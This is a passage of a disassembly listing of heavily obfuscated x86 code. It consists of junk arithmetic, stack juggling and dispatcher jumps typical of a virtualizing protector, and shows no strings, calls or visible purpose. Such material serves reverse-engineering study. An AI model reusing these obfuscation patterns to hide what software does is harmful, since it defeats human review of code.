esi, 6F1E35F4h xor esi, 498F50F5h jmp loc_593368 ; --------------------------------------------------------------------------- loc_5A0280: ; CODE XREF: sub_580566+216D3j sub esp, 4 mov [esp-56h+arg_4E], esp add [esp-56h+arg_4E], 4 pop ebp push esi mov esi, 4 push edx mov edx, 79705EDBh add ebp, edx mov edx, [esp-52h+arg_48+2] add esp, 4 jmp loc_59C660 ; --------------------------------------------------------------------------- loc_5A02AA: ; CODE XREF: sub_580566+115F8j push edi mov edi, 525C3E7Ch or edi, 21616871h jmp loc_5A2782 ; --------------------------------------------------------------------------- loc_5A02BB: ; CODE XREF: sub_580566+1B8E7j xchg edi, [esp-44h+arg_3C] pop esp add al, 0EFh sub al, dh sub al, 0EFh jmp loc_593E89 ; --------------------------------------------------------------------------- loc_5A02CA: ; CODE XREF: sub_580566+20257j not ebx xchg ebx, ebp xchg ebx, ebp push ebx push edi pop ebx pop edi push 426Eh mov [esp-44h+arg_3C], edi dec [esp-44h+arg_3C] not [esp-44h+arg_3C] jmp loc_59A6EE ; --------------------------------------------------------------------------- loc_5A02E7: ; CODE XREF: sub_580566+1BC38j pop eax push edi mov edi, 3E336ACCh jmp loc_59A450 ; --------------------------------------------------------------------------- loc_5A02F3: ; CODE XREF: sub_580566+1605Ej add ebp, 5E0162Dh add edx, ebp pop ebp add edx, 10B701B5h push eax jmp loc_59BC4B ; --------------------------------------------------------------------------- loc_5A0308: ; CODE XREF: sub_580566+17B08j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xor esi, 3D4F3A66h mov edi, [esp-58h+arg_4E+2] add esp, 4 jmp loc_593274 ; --------------------------------------------------------------------------- loc_5A0331: ; CODE XREF: sub_580566+17F70j add esp, 4 push edi jmp loc_59365F ; --------------------------------------------------------------------------- loc_5A033A: ; CODE XREF: sub_580566+1CB6Dj add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A0342: ; CODE XREF: sub_580566+161A5j mov ecx, [esp-3Ch+arg_34] jmp loc_594FDC ; --------------------------------------------------------------------------- loc_5A034A: ; CODE XREF: sub_580566+1C059j xchg edx, [esp-34h+arg_2C] pop esp add esp, 4 jmp loc_594AE5 ; --------------------------------------------------------------------------- loc_5A0356: ; DATA XREF: sub_580566+104C6o push dword ptr [edi+2Ch] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A035E: ; CODE XREF: sub_580566+1E7AFj and eax, ebp push [esp-38h+arg_30] pop ebp add esp, 4 or eax, eax jz loc_5A19A0 push dword ptr [edi+1Ch] push [esp-38h+arg_30] push [esp-34h+arg_2C] mov ecx, [esp-30h+arg_28] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A43B5 ; --------------------------------------------------------------------------- loc_5A038F: ; CODE XREF: sub_580566+18D20j push edi jmp loc_59F860 ; --------------------------------------------------------------------------- loc_5A0395: ; CODE XREF: sub_580566+10ECEj push esp pop ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-2Ah+arg_20+2] pop esp jmp loc_591C0F ; --------------------------------------------------------------------------- loc_5A03AF: ; CODE XREF: sub_580566+1A49Fj add eax, 4 push 6A78h mov [esp-36h+arg_2C+2], edi sub esp, 4 mov [esp-32h+arg_28+2], ebx mov ebx, 732C415Bh add ebx, 5B570984h jmp loc_592824 ; --------------------------------------------------------------------------- loc_5A03D2: ; CODE XREF: sub_580566+13C54j mov al, 0C7h push edx mov dl, al push eax mov ah, dl jmp loc_5A56E8 ; --------------------------------------------------------------------------- loc_5A03DF: ; CODE XREF: sub_580566+1FB3Dj sub al, 89h sub al, ch push ecx mov cl, 89h jmp loc_59F69B ; --------------------------------------------------------------------------- loc_5A03EB: ; CODE XREF: sub_580566+1E9D3j pop esi mov ebp, [esp-2Ah+arg_20+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp sub esi, 0FFFFFFFFh jmp loc_59471C ; --------------------------------------------------------------------------- loc_5A040A: ; CODE XREF: sub_580566+18161j sub esp, 4 mov [esp-20h+arg_16+2], ebp mov ebp, 7DB31DE3h or ebp, 4CA13B48h push ebx jmp loc_5A5B4F ; --------------------------------------------------------------------------- loc_5A0424: ; CODE XREF: sub_580566+14F36j xchg ebp, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] shr ecx, 0Bh push edi mov edi, ebx jmp loc_5A2847 ; --------------------------------------------------------------------------- loc_5A0435: ; CODE XREF: sub_580566+1355Dj push 7BF8h mov [esp-20h+arg_16+2], esp add [esp-20h+arg_16+2], 4 pop [esp-20h+arg_16+2] jmp loc_59897B ; --------------------------------------------------------------------------- loc_5A044C: ; CODE XREF: sub_580566+153EAj pop edi jmp loc_59D03D ; --------------------------------------------------------------------------- loc_5A0452: ; CODE XREF: sub_580566+11E78j push ebp mov ebp, 4 add edi, ebp pop ebp xor edi, [esp+0] jmp loc_594645 ; --------------------------------------------------------------------------- loc_5A0463: ; CODE XREF: sub_580566+1A2BAj sub [esp-32h+arg_34+2], eax pop eax pop ecx jmp loc_5A571C ; --------------------------------------------------------------------------- loc_5A046E: ; CODE XREF: sub_580566+20C29j mov [esp-3Ah+arg_30+2], esp add [esp-3Ah+arg_30+2], 4 pop eax jmp loc_59308F ; --------------------------------------------------------------------------- loc_5A047B: ; CODE XREF: sub_580566+1EEA1j sub [esp-40h+arg_40], ebx jmp loc_59EB87 ; --------------------------------------------------------------------------- loc_5A0484: ; CODE XREF: sub_580566+1BE98j xchg eax, [esp-46h+arg_3C+2] jmp loc_5A3E5F ; --------------------------------------------------------------------------- loc_5A048C: ; CODE XREF: sub_580566+1D074j pop ebx mov ecx, [esp-42h+arg_38+2] add esp, 4 pop ecx dec ebx sub ebx, 0FFFD39F8h add edx, ebx pop ebx xchg edx, [esp-4Eh+arg_44+2] pop esp jmp loc_59E6AB ; --------------------------------------------------------------------------- loc_5A04AA: ; CODE XREF: sub_580566+1D179j pop ecx xchg ebp, [esp-5Ah+arg_52] pop esp pop eax sub edi, ebp pop ebp push edi sub [esp-62h+arg_5A], 20A273ACh jmp loc_59D878 ; --------------------------------------------------------------------------- loc_5A04C0: ; CODE XREF: sub_580566+1C883j add esi, 6C930515h pop ebp xchg esi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] btc word ptr [esp-36h+arg_2C+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A04D8: ; CODE XREF: sub_580566+20FB4j neg edi neg edi shr edi, 7 jmp loc_5958DB ; --------------------------------------------------------------------------- loc_5A04E4: ; CODE XREF: sub_580566+2428Bj or eax, 796F558Ch shr eax, 3 jmp loc_59111B ; --------------------------------------------------------------------------- loc_5A04F1: ; CODE XREF: sub_580566+247FDj mov [esp-32h+arg_28+2], ecx push esp push [esp-2Eh+arg_24+2] pop ecx push ebp mov ebp, esp add ebp, 4 jmp loc_598931 ; --------------------------------------------------------------------------- loc_5A0507: ; CODE XREF: sub_580566+15138j push ecx jmp loc_59EB11 ; --------------------------------------------------------------------------- loc_5A050D: ; CODE XREF: sub_580566+24348j mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp-0Eh+arg_8+2] xor [esp-0Eh+arg_8+2], ebx xor ebx, [esp-0Eh+arg_8+2] pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-0Eh+arg_8+2] pop esp mov [esp-12h+arg_A], esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp-16h+arg_E] xor [esp-16h+arg_E], ebx xor ebx, [esp-16h+arg_E] pop esp push [esp-1Ah+arg_12] pop ecx push 2653h mov [esp-16h+arg_E], ebp push esp jmp loc_593951 ; --------------------------------------------------------------------------- loc_5A055B: ; CODE XREF: sub_580566+2370Fj sub esi, 5BFF4A4Fh add esi, ecx jmp loc_59C098 ; --------------------------------------------------------------------------- loc_5A0568: ; CODE XREF: sub_580566+20D46j push edi sub esp, 4 jmp loc_59551F ; --------------------------------------------------------------------------- loc_5A0574: ; CODE XREF: sub_580566+11891j xchg ecx, [esp-5Ah+arg_52] pop esp xor di, cx jmp loc_59C6EF ; --------------------------------------------------------------------------- loc_5A0580: ; CODE XREF: sub_580566+2088Ej add esp, 4 add [esp-62h+arg_5A], 35B45DA8h add [esp-62h+arg_5A], eax sub [esp-62h+arg_5A], 35B45DA8h jmp loc_591E54 ; --------------------------------------------------------------------------- loc_5A059C: ; CODE XREF: sub_580566+1B751j push ebx push ebp push 1B741609h pop ebp or ebp, 2CF03B3Ah shr ebp, 3 xor ebp, 3DB897C9h mov ebx, ebp pop ebp push ebp jmp loc_59BBA6 ; --------------------------------------------------------------------------- loc_5A05BC: ; CODE XREF: sub_580566+24ADBj sub esi, edx add esi, 40BA7780h pop edx xchg esi, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], esi mov esi, ebx push esi pop ecx mov esi, [esp-38h+arg_30] jmp loc_59ADF4 ; --------------------------------------------------------------------------- loc_5A05D8: ; CODE XREF: sub_580566+179E9j pop edi xor edi, esi push [esp-32h+arg_28+2] pop esi add esp, 4 inc edi jmp loc_5968BC ; --------------------------------------------------------------------------- loc_5A05E8: ; CODE XREF: sub_580566+16FE1j add esi, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-3Eh+arg_34+2] pop esp jmp loc_59AE6F ; --------------------------------------------------------------------------- loc_5A0606: ; CODE XREF: sub_580566+182C2j add eax, 0B890A45h sub ebx, 74FB111Bh add ebx, eax push edi mov edi, 4A1036C1h neg edi push esi mov esi, 40F4B824h sub edi, esi mov esi, [esp] add esp, 4 add ebx, edi pop edi mov eax, [esp-2Ah+arg_20+2] add esp, 4 push edx push ebp mov ebp, 63972C6Dh mov edx, ebp pop ebp jmp loc_5A2EDD ; --------------------------------------------------------------------------- loc_5A0641: ; CODE XREF: sub_580566+188BEj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-42h+arg_38+2] pop esp jmp loc_59D108 ; --------------------------------------------------------------------------- loc_5A0659: ; CODE XREF: sub_580566+184C6j push eax jmp loc_59C569 ; --------------------------------------------------------------------------- loc_5A065F: ; CODE XREF: sub_580566+1B11Dj push esi mov esi, 6FDE1436h shl esi, 4 jmp loc_59F12C ; --------------------------------------------------------------------------- loc_5A066D: ; CODE XREF: sub_580566+1DEE4j push ebp jmp loc_59AD09 ; --------------------------------------------------------------------------- loc_5A0673: ; CODE XREF: sub_580566+2427Ej mov edi, 4 add eax, edi pop edi add eax, 2 xor eax, [esp-38h+arg_30] xor [esp-38h+arg_30], eax xor eax, [esp-38h+arg_30] pop esp mov ax, word ptr [esp-3Ch+arg_34] sub esp, 4 mov [esp-38h+arg_30], ecx mov ecx, esp add ecx, 4 jmp loc_593008 ; --------------------------------------------------------------------------- loc_5A069F: ; CODE XREF: sub_580566+22661j xchg ebx, edx jmp loc_593657 ; --------------------------------------------------------------------------- loc_5A06A6: ; CODE XREF: sub_580566+1B776j pop ebp sub ebx, 4 push ebx push [esp-16h+arg_12] pop ebx pop [esp-16h+arg_E] pop esp mov [esp-1Eh+arg_16], edx mov edx, esp add edx, 4 push edi mov edi, 4 jmp loc_5939F9 ; --------------------------------------------------------------------------- loc_5A06CA: ; CODE XREF: sub_580566+1A516j mov ebx, eax push 4220h mov [esp-34h+arg_2C], ebp jmp loc_593669 ; --------------------------------------------------------------------------- loc_5A06D9: ; CODE XREF: sub_580566+16DDDj add esp, 4 pop [esp-44h+arg_3C] mov esp, [esp-48h+arg_40] or edx, eax shl edx, 1 push 3B92h jmp loc_595644 ; --------------------------------------------------------------------------- loc_5A06F0: ; CODE XREF: sub_580566+1A8A3j xor edi, esi mov esi, [esp-44h+arg_3C] add esp, 4 push ebp mov ebp, 1D4B7BC3h xor ebp, 7D7B3A47h jmp loc_597505 ; --------------------------------------------------------------------------- loc_5A070C: ; CODE XREF: sub_580566+189D9j mov ecx, 40942B4h sub [esp-26h+arg_24+2], ecx pop ecx jmp loc_59E204 ; --------------------------------------------------------------------------- loc_5A071B: ; CODE XREF: sub_580566+23F51j add esp, 4 jmp loc_59E2D9 ; --------------------------------------------------------------------------- loc_5A0723: ; CODE XREF: sub_580566+1FCC4j mov [esp-30h+arg_28], ecx mov cl, 0D3h dec cl xchg bl, cl not bl jmp loc_59700A ; --------------------------------------------------------------------------- loc_5A0733: ; CODE XREF: sub_580566+1D2B7j sub esp, 4 mov [esp-4Ah+arg_40+2], ecx jmp loc_59C191 ; --------------------------------------------------------------------------- loc_5A073E: ; CODE XREF: sub_580566+14AC5j mov esp, [esp-28h+arg_20] or eax, eax jz loc_596E09 push dword ptr [edi+1Ch] jmp loc_59A7E5 ; --------------------------------------------------------------------------- loc_5A0751: ; CODE XREF: sub_580566+10BD3j neg edx add edx, 5C26479Fh add ebx, edx pop edx mov ecx, [esp-40h+arg_38] add esp, 4 pop esi push 56F3h mov [esp-44h+arg_3C], esi mov esi, 38BD3736h add ebx, esi pop esi sub ebx, eax sub ebx, 38BD3736h push edx mov edx, 20101D75h add ebx, edx pop edx jmp loc_5A0D7F ; --------------------------------------------------------------------------- lodsd push ecx mov ecx, 34D26FF6h shl ecx, 3 xchg esi, ecx not esi xchg esi, ecx push 18C3h jmp loc_59501B ; --------------------------------------------------------------------------- loc_5A07A3: ; CODE XREF: sub_580566+165DFj xor ecx, 749A2E8Ch add ecx, 7EEB42BFh xor eax, ecx pop ecx xor ebp, eax pop eax mov esi, [esp-42h+arg_38+2] add esp, 4 xchg ebx, ebp jmp loc_5A02CA ; --------------------------------------------------------------------------- loc_5A07C2: ; CODE XREF: sub_580566+10664j pop esp push eax mov eax, esp push ebp mov ebp, 7961DD6h push ebx jmp loc_59FE63 ; --------------------------------------------------------------------------- loc_5A07D2: ; CODE XREF: sub_580566+1BE3Dj add eax, 4 jmp loc_596FC9 ; --------------------------------------------------------------------------- loc_5A07DC: ; CODE XREF: sub_580566+2486Aj push ecx mov ecx, 5445144Dh xor ecx, 7B7A008Ah dec ecx sub ecx, 1A59643Ch neg ecx or ecx, 6B1B6FFCh add ecx, 0D751E2F2h mov edx, ecx pop ecx add ebx, edx pop edx shr ebx, 6 shl ebx, 7 xor ebx, 3D06AA02h sub edx, 55600189h add edx, ebx add edx, 55600189h pop ebx xor edx, [esp-34h+arg_2C] xor [esp-34h+arg_2C], edx xor edx, [esp-34h+arg_2C] jmp loc_597B04 ; --------------------------------------------------------------------------- push [esp-34h+arg_2C] mov ecx, [esp-30h+arg_28] add esp, 4 push 6764h mov [esp-30h+arg_28], edx jmp loc_59BB8B ; --------------------------------------------------------------------------- loc_5A0845: ; CODE XREF: sub_580566+219CDj mov ebp, 16250673h xor ebp, 4CC104E5h push ecx mov ecx, 1CD917B0h or ebp, ecx jmp loc_59DB5C ; --------------------------------------------------------------------------- loc_5A085D: ; DATA XREF: sub_580566+104D6o lodsb sub al, 0E9h add al, bl push ecx mov ch, 43h sub ch, 20h jmp loc_5928F6 ; --------------------------------------------------------------------------- loc_5A086D: ; CODE XREF: sub_580566+1B02Bj mov [esp-5Ch+arg_52+2], eax jmp loc_598493 ; --------------------------------------------------------------------------- loc_5A0875: ; CODE XREF: sub_580566+1804Cj pop ecx jmp loc_5A0C76 ; --------------------------------------------------------------------------- loc_5A087B: ; CODE XREF: sub_580566+1DB33j mov [esp-34h+arg_2C], ebx jmp loc_5A1B15 ; --------------------------------------------------------------------------- loc_5A0883: ; CODE XREF: sub_580566+20D58j pop esi jmp loc_591FE1 ; --------------------------------------------------------------------------- loc_5A0889: ; CODE XREF: sub_580566+1BC59j mov esp, [esp-20h+arg_16+2] bt word ptr [esp-20h+arg_16+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A0897: ; CODE XREF: sub_580566+11E52j push esp mov esi, [esp+0] add esp, 4 add esi, 4 push edx jmp loc_5A5036 ; --------------------------------------------------------------------------- loc_5A08AD: ; CODE XREF: sub_580566+19606j pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-34h+arg_2C] pop esp push [esp-38h+arg_30] push [esp-34h+arg_2C] pop ebx push ecx mov ecx, esp jmp loc_59D29C ; --------------------------------------------------------------------------- loc_5A08D0: ; CODE XREF: sub_580566+22F67j add eax, ebx pop ebx sub eax, ebp jmp loc_5A1BC9 ; --------------------------------------------------------------------------- loc_5A08DA: ; CODE XREF: sub_580566+1AF97j pop ebx push edi push 12F6h mov [esp-40h+arg_38], edx push 0F17C43h jmp loc_59EB0B ; --------------------------------------------------------------------------- loc_5A08EE: ; CODE XREF: sub_580566+2180Aj add ebp, 4 push 4E5Ch mov [esp-38h+arg_30], esi sub esp, 4 mov [esp-34h+arg_2C], edx mov edx, 42C72487h mov esi, 0BD38DB7Dh jmp loc_59D265 ; --------------------------------------------------------------------------- loc_5A0914: ; CODE XREF: sub_580566+1907Bj xor eax, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] bts word ptr [esp-2Eh+arg_24+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A0925: ; CODE XREF: sub_580566+19921j mov [esp+0], eax push ebp jmp loc_59537B ; --------------------------------------------------------------------------- loc_5A092E: ; CODE XREF: sub_580566+1D26Bj mov [esp-30h+arg_28], edi jmp loc_59B536 ; --------------------------------------------------------------------------- loc_5A0936: ; CODE XREF: sub_580566+156B0j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-18h+arg_E+2] jmp loc_59EDB0 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-18h+arg_E+2] push 29E4h mov [esp-14h+arg_A+2], ebx push esp push dword ptr [esp] push [esp-0Ch+arg_8] pop ebx push ebp push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 xchg ebp, [esp-8+arg_4] pop esp jmp loc_5A3292 ; --------------------------------------------------------------------------- loc_5A0979: ; CODE XREF: sub_580566+10FE1j mov ah, 57h not ah sub ah, 0D0h xor dl, ah mov eax, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-22h+arg_1A] pop esp add al, 4Dh sub al, 0EFh sub al, dl add al, 0EFh sub al, 4Dh pop edx push edx push cx mov ch, 39h push eax mov ah, ch mov dh, ah jmp loc_59E750 ; --------------------------------------------------------------------------- loc_5A09B2: ; CODE XREF: sub_580566+1B0D6j push ebx push esp push [esp-34h+arg_2C] jmp loc_59DAC7 ; --------------------------------------------------------------------------- loc_5A09BC: ; CODE XREF: sub_580566+15318j push ebp jmp loc_5A29B0 ; --------------------------------------------------------------------------- loc_5A09C2: ; CODE XREF: sub_580566+1794Cj or edi, 7BA00C01h sub edi, 8AB39602h jmp loc_5A0E85 ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h add [esp-38h+arg_30], 4 pop ebx push ecx mov ecx, 4 jmp loc_5A1835 ; --------------------------------------------------------------------------- loc_5A09E6: ; CODE XREF: sub_580566+1EE96j pop ecx add [esp-38h+arg_38], eax pop eax push [esp-3Ch+arg_34] pop ecx add esp, 4 pop edx push ebp jmp loc_594C73 ; --------------------------------------------------------------------------- loc_5A09FD: ; CODE XREF: sub_580566+1A070j mov [esp-2Ch+arg_24], eax mov eax, 78146437h jmp loc_59400F ; --------------------------------------------------------------------------- loc_5A0A0A: ; CODE XREF: sub_580566+10539j mov [esp-5Ah+arg_52], edi push esp push [esp-56h+arg_4E] pop edi jmp loc_59390B ; --------------------------------------------------------------------------- loc_5A0A17: ; CODE XREF: sub_580566+17885j mov [esp-3Eh+arg_34+2], edx mov edx, 1 sub ebp, edx jmp loc_591125 ; --------------------------------------------------------------------------- loc_5A0A26: ; CODE XREF: sub_580566+16A34j mov ebx, 20h jmp loc_59BC23 ; --------------------------------------------------------------------------- loc_5A0A30: ; CODE XREF: sub_580566+22F1Dj push esp jmp loc_593ADD ; --------------------------------------------------------------------------- loc_5A0A36: ; CODE XREF: sub_580566+15B67j sub edx, 0A3428953h add esi, edx pop edx sub esi, 4 xchg esi, [esp-52h+arg_48+2] jmp loc_5A31BB ; --------------------------------------------------------------------------- loc_5A0A4A: ; CODE XREF: sub_580566+1968Bj push ecx push edi mov edi, 54A925ABh xor edi, 5F8871A5h shr edi, 4 not edi sub edi, 9BCFC287h mov ecx, edi mov edi, [esp-1Ch+arg_12+2] add esp, 4 push edi mov edi, 4F0A74A1h shl edi, 2 shr edi, 5 jmp loc_5A108B ; --------------------------------------------------------------------------- loc_5A0A7E: ; CODE XREF: sub_580566+1CE0Fj add eax, 6ECA5173h mov ecx, [esp-32h+arg_28+2] add esp, 4 push ebx mov ebx, 3EDC7341h add eax, ebx pop ebx jmp loc_59AC41 ; --------------------------------------------------------------------------- loc_5A0A97: ; CODE XREF: sub_580566+21051j mov [esp-36h+arg_2C+2], eax push 6038h mov [esp-32h+arg_28+2], ecx push edi mov edi, 66053763h add edi, 69277307h shl edi, 7 xor edi, 631D4EFAh and edi, 329D48ACh shl edi, 5 xor edi, 617F126Dh mov ecx, edi pop edi add ecx, 10931F0Ah xor [esp-32h+arg_2C+2], ecx mov ecx, [esp-32h+arg_28+2] jmp loc_596761 ; --------------------------------------------------------------------------- loc_5A0ADB: ; CODE XREF: sub_580566+21F1Fj neg ah jmp loc_5A463D ; --------------------------------------------------------------------------- loc_5A0AE2: ; CODE XREF: sub_580566+1C199j pop ecx or eax, 1AE26959h jmp loc_59B65D ; --------------------------------------------------------------------------- loc_5A0AED: ; CODE XREF: sub_580566+1E65Ej pop edi and edx, ebx pop ebx shr edx, 1 jmp loc_5A5416 ; --------------------------------------------------------------------------- push [esp-2Eh+arg_24+2] push [esp-2Ah+arg_20+2] pop eax add esp, 4 jmp loc_59D32E ; --------------------------------------------------------------------------- loc_5A0B07: ; CODE XREF: sub_580566+11D37j xor ecx, ebx jmp loc_5A2097 ; --------------------------------------------------------------------------- loc_5A0B0E: ; CODE XREF: sub_580566+1B713j add esi, edi sub esi, 51C16F87h pop edi push ecx jmp loc_5A0BC4 ; --------------------------------------------------------------------------- loc_5A0B1D: ; CODE XREF: sub_580566+1AF24j pop esp jmp loc_5999B2 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 0B68h, 83243489h, 0BAE904ECh db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0B37: ; CODE XREF: sub_580566+218A5j pop ebp push 7B9Ch mov [esp-3Ch+arg_34], esi push [esp-3Ch+arg_34] mov edi, [esp-38h+arg_30] push ebx push esp pop ebx push eax jmp loc_59E2B8 ; --------------------------------------------------------------------------- loc_5A0B4F: ; CODE XREF: sub_580566+1C1DFj pop eax add edi, 26C61C16h sub eax, edi pop edi mov ebp, [esp-48h+arg_40] add esp, 4 jmp loc_598C56 ; --------------------------------------------------------------------------- loc_5A0B64: ; CODE XREF: sub_580566+1F475j mov [esp], eax push esi mov esi, 10B341F0h jmp loc_59DB16 ; --------------------------------------------------------------------------- loc_5A0B72: ; CODE XREF: sub_580566+1E307j push 4F07h mov [esp-22h+arg_1A], esi mov esi, 4 add edx, esi jmp loc_59FAB3 ; --------------------------------------------------------------------------- loc_5A0B86: ; CODE XREF: sub_580566+1633Fj mov [esp-30h+arg_28], edi mov edi, 3150290h not edi and edi, 726B6290h neg edi shl edi, 5 sub edi, 9B81FA00h sub ecx, edi mov edi, [esp-30h+arg_28] add esp, 4 push ebp mov ebp, 4ABB31FEh sub ebp, 7ED02B3Eh shr ebp, 1 xor ebp, 4369E5F2h and ecx, ebp jmp loc_59859C ; --------------------------------------------------------------------------- loc_5A0BC4: ; CODE XREF: sub_580566+205B2j push ebx mov ebx, 4 push ebx pop ecx jmp loc_5A1E59 ; --------------------------------------------------------------------------- loc_5A0BD1: ; CODE XREF: sub_580566+156AAj or ecx, eax pop eax push ecx jmp loc_5A2078 ; --------------------------------------------------------------------------- loc_5A0BDA: ; CODE XREF: sub_580566+14ED8j pop esp add esp, 4 push edx mov edx, 2 add ebx, edx pop edx push ebx push [esp-48h+arg_44] mov ebx, [esp-44h+arg_3C] jmp loc_593BB4 ; --------------------------------------------------------------------------- loc_5A0BF4: ; CODE XREF: sub_580566+254CBj mov ecx, 7BE50B68h jmp loc_592983 ; --------------------------------------------------------------------------- loc_5A0BFE: ; CODE XREF: sub_580566+1539Cj push ebp mov ebp, 2AFD6B59h inc ebp shl ebp, 5 push edi mov edi, 41390908h xor ebp, edi pop edi shl ebp, 8 add ebp, 35EF3A83h push ecx jmp loc_59A6CB ; --------------------------------------------------------------------------- loc_5A0C20: ; CODE XREF: sub_580566+1A8E3j pop edi jmp loc_59A38C ; --------------------------------------------------------------------------- loc_5A0C26: ; CODE XREF: sub_580566+1E5F3j sub bh, 0F6h xor bh, 95h add bh, 0A0h mov ch, 0AFh xor ch, bh pop ebx add bl, ch pop cx push cx jmp loc_594AB6 ; --------------------------------------------------------------------------- loc_5A0C3F: ; CODE XREF: sub_580566+1B947j xor bl, 79h mov dl, bl pop ebx jmp loc_5A3D82 ; --------------------------------------------------------------------------- loc_5A0C4A: ; CODE XREF: sub_580566+14F69j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-28h+arg_20] pop esp jmp loc_590AA4 ; --------------------------------------------------------------------------- loc_5A0C62: ; CODE XREF: sub_580566+13527j mov esi, esp push edi mov edi, 4 jmp loc_599E2A ; --------------------------------------------------------------------------- loc_5A0C6F: ; CODE XREF: sub_580566+20EBFj mov ecx, edx jmp loc_591540 ; --------------------------------------------------------------------------- loc_5A0C76: ; CODE XREF: sub_580566+20310j pop ebx push [esp-2Ch+arg_24] push [esp-28h+arg_20] pop edx add esp, 4 sub esp, 4 mov [esp-28h+arg_20], ebp push esp jmp loc_59CB2C ; --------------------------------------------------------------------------- loc_5A0C93: ; CODE XREF: sub_580566+1E0F0j mov ebx, edi push [esp-4Ah+arg_40+2] pop edi add esp, 4 add [esp-4Eh+arg_48+2], 39880D71h jmp loc_590E1F ; --------------------------------------------------------------------------- loc_5A0CA9: ; CODE XREF: sub_580566+22569j push [esp-4Eh+arg_48+2] pop edx pop [esp-4Eh+arg_44+2] pop esp jmp loc_59CAA8 ; --------------------------------------------------------------------------- loc_5A0CB7: ; CODE XREF: sub_580566+24646j sub edx, 24966B1Bh jmp loc_5A4CB3 ; --------------------------------------------------------------------------- loc_5A0CC2: ; CODE XREF: sub_580566+22197j mov ch, bl jmp loc_59C385 ; --------------------------------------------------------------------------- loc_5A0CC9: ; CODE XREF: sub_580566+14F56j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-40h+arg_38] pop esp jmp loc_59456C ; --------------------------------------------------------------------------- loc_5A0CE1: ; CODE XREF: sub_580566+15E05j pop [esp-18h+arg_E+2] xchg ecx, edx not ecx xchg ecx, edx push 5D98h mov [esp-18h+arg_E+2], edx push [esp-18h+arg_12+2] mov edx, [esp-14h+arg_A+2] push ebx mov ebx, esp push edi mov edi, 22A04D43h neg edi xor edi, 3F020ECDh dec edi add edi, 1DA24395h jmp loc_59D3D9 ; --------------------------------------------------------------------------- loc_5A0D16: ; CODE XREF: sub_580566+11A51j add esp, 4 shr eax, 10h xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_59D239 ; --------------------------------------------------------------------------- loc_5A0D29: ; CODE XREF: sub_580566+23192j mov [esp-38h+arg_30], eax push edi push eax push ebp push 6E643985h pop ebp neg ebp xor ebp, 0D6BCCC7Ch mov eax, ebp pop ebp mov edi, eax pop eax neg edi add edi, 1 shl edi, 7 not edi or edi, 6F822015h jmp loc_59B3A7 ; --------------------------------------------------------------------------- loc_5A0D58: ; CODE XREF: sub_580566+1798Aj push ebp mov ebp, 5017518Ah push ebp push 6A7904CAh pop ebp jmp loc_5A3C43 ; --------------------------------------------------------------------------- loc_5A0D6A: ; CODE XREF: sub_580566+1AF87j push edx mov edx, esp add edx, 4 jmp loc_5957A3 ; --------------------------------------------------------------------------- loc_5A0D78: ; CODE XREF: sub_580566+1D139j add eax, ebx jmp loc_5949B8 ; --------------------------------------------------------------------------- loc_5A0D7F: ; CODE XREF: sub_580566+2021Ej push 7AA3h jmp loc_592069 ; --------------------------------------------------------------------------- loc_5A0D89: ; CODE XREF: sub_580566+24E5Fj pop esp push ecx push esp pop ecx push ebp mov ebp, 4 add ecx, 6CA078Dh add ecx, 46D70C1Fh add ecx, ebp push eax jmp loc_593EF1 ; --------------------------------------------------------------------------- loc_5A0DA7: ; CODE XREF: sub_580566+16AF1j push [esp-4Ch+arg_48] mov edi, [esp-48h+arg_40] add esp, 4 pop [esp-4Ch+arg_44] pop esp jmp loc_595BC6 ; --------------------------------------------------------------------------- loc_5A0DBA: ; CODE XREF: sub_580566+1E669j mov ecx, 0FB2C8E7Bh jmp loc_5A17E3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-22h+arg_1A] push esi mov esi, esp add esi, 4 jmp loc_59B8C0 ; --------------------------------------------------------------------------- loc_5A0DD6: ; CODE XREF: sub_580566+17FA4j push edx mov edx, esp sub esp, 4 jmp loc_597526 ; --------------------------------------------------------------------------- loc_5A0DE1: ; CODE XREF: sub_580566+2517Dj mov eax, [esp-36h+arg_2C+2] jmp loc_5A5503 ; --------------------------------------------------------------------------- loc_5A0DE9: ; CODE XREF: sub_580566+1724Dj add [esp-42h+arg_3C+2], 72EA58E5h mov eax, [esp-42h+arg_38+2] jmp loc_5A0580 ; --------------------------------------------------------------------------- loc_5A0DF9: ; CODE XREF: sub_580566+1EA7Bj pop [esp-36h+arg_2C+2] jmp loc_5A3F5B ; --------------------------------------------------------------------------- loc_5A0E01: ; CODE XREF: sub_580566+169C5j mov ebp, [esp-36h+arg_2C+2] jmp loc_590D12 ; --------------------------------------------------------------------------- loc_5A0E09: ; CODE XREF: sub_580566+1BFA0j push 